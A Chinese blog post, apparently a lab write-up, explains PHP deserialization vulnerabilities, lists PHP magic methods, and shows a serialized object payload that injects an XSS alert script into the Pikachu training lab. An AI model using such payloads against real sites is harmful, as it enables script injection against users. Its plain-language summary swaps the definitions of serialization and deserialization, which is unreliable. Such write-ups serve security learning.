unserialize-基于Pikachu的学习
  owpmXY9hzjPv 12天前 32 0

php反序列化

PHP反序列化漏洞详解(万字分析、由浅入深)_php反序列化漏洞原理-CSDN博客

PHP反序列化基础 - Hello CTF (hello-ctf.com)

PHP反序列化漏洞的原理及复现 - FreeBuf网络安全行业门户

原理:

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

咱们先了解一下序列化和反序列化都是什么含义

image-20240506201901334

image-20240506201910431

通俗来讲

序列化就是把字符串去转换成PHP对象

反序列化就是把php对象转换成字符串

常见的魔术方法

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

Pikachu

打开题目就让我输入一个序列化的东西,但是没有啥源码,估计就是概述里面的那个示例

image-20240506202604722

那我们就分析一下

我们去创造一个S的对象,然后会触发destruct这个魔术方法,然后打印出test的值,那我们就可以在test的这里去动手脚了

new S() -> __destruct() -> $this->test

我们打开php在线这个网站,去序列化一下PHP 在线工具 | 菜鸟工具 (jyshare.com)

我们构造一下payload:

<?php
class S{
	function __destruct(){
                echo $this->test;
            }
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>

然后弄到输入框试试:

image-20240506202950380

成功了。

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 12天前 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   3天前   5   0   0 网络安全
  OKgNPeBk991j   2天前   13   0   0 网络安全
owpmXY9hzjPv